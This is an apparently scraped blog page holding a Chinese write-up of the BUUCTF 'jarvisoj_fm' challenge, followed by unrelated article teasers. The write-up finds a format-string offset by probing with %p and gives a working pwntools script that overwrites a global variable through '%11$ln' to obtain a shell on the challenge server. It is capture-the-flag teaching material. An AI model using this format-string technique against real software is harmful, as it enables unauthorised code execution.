news 2026/4/18 9:45:14

buuctf中的jarvisoj_fm

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的jarvisoj_fm

首先checksec检查保护机制:

-32位程序

-开启了栈溢出保护和栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4,即可拿到shell,那么方向就很明显了,使用格式化字符串漏洞实现任意地址写,将x的值改写为4

接下来先找到第一个参数的偏移,方便利用格式化字符串漏洞,在pwndbg中动态调试,先对程序输入一下代码:

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

得到:

发现0x41414141这个参数在第11位,0x41414141以ASCII码转化为字符即为AAAA,也就是我们输入的AAAA在第11位处,即偏移为11

再在IDA中拿到x的地址:0x0804A02C

然后就是脚本的编写了:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',25207) # 与在线环境交互。 offset = 11 aim_addr = 0x0804A02C payload = p32(aim_addr) + b'%11$ln' io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后输入cat flag即可拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 10:56:16

手把手教你认识逻辑门:从与或非开始

从零开始搞懂逻辑门:与、或、非的硬核实战解析你有没有想过,手机里每一条消息、电脑中每一次点击,背后其实都是一群“0”和“1”在疯狂打架?而这场战斗的最小作战单位,就是——逻辑门。别被这个名字吓到。它听起来高深…

作者头像 李华
网站建设 2026/4/18 8:49:57

红外遥控解码:基于Arduino Uno的入门级实验

从遥控器到代码:用Arduino解码红外信号的完整实践 你有没有想过,当你按下电视遥控器的“电源”键时,那一道看不见的红外光是如何被识别并执行命令的?这看似简单的操作背后,其实是一套精密设计的通信协议在默默工作。今…

作者头像 李华
网站建设 2026/4/18 6:58:24

跨平台模组下载神器WorkshopDL:免Steam账号畅享创意工坊

跨平台模组下载神器WorkshopDL:免Steam账号畅享创意工坊 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为Epic平台游戏无法使用Steam创意工坊模组而烦恼吗&…

作者头像 李华
网站建设 2026/3/31 8:48:40

川渝低空“跨省通”来了!“协同机制+三大通道”正式发布

当千年石刻文化遇见低空经济,巴蜀文旅融合揭开新篇章。 同时,巴蜀低空文旅走廊第二站——“川渝石窟寺国家遗址公园试飞”成功举行,完成了川渝首条跨省(直辖市)域低空文旅航线试飞,为川渝共建低空文化走廊、…

作者头像 李华
网站建设 2026/4/16 12:17:52

完整鸣潮自动化工具:简单智能的游戏助手

完整鸣潮自动化工具:简单智能的游戏助手 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 还在为鸣潮中繁琐的重…

作者头像 李华
网站建设 2026/4/17 17:54:58

HbaseGUI:重塑HBase可视化管理新体验

HbaseGUI:重塑HBase可视化管理新体验 【免费下载链接】HbaseGUI HbaseGUI 项目地址: https://gitcode.com/gh_mirrors/hb/HbaseGUI 在大数据技术生态中,HBase作为分布式列存储数据库的核心组件,其强大的存储能力往往伴随着复杂的管理挑…

作者头像 李华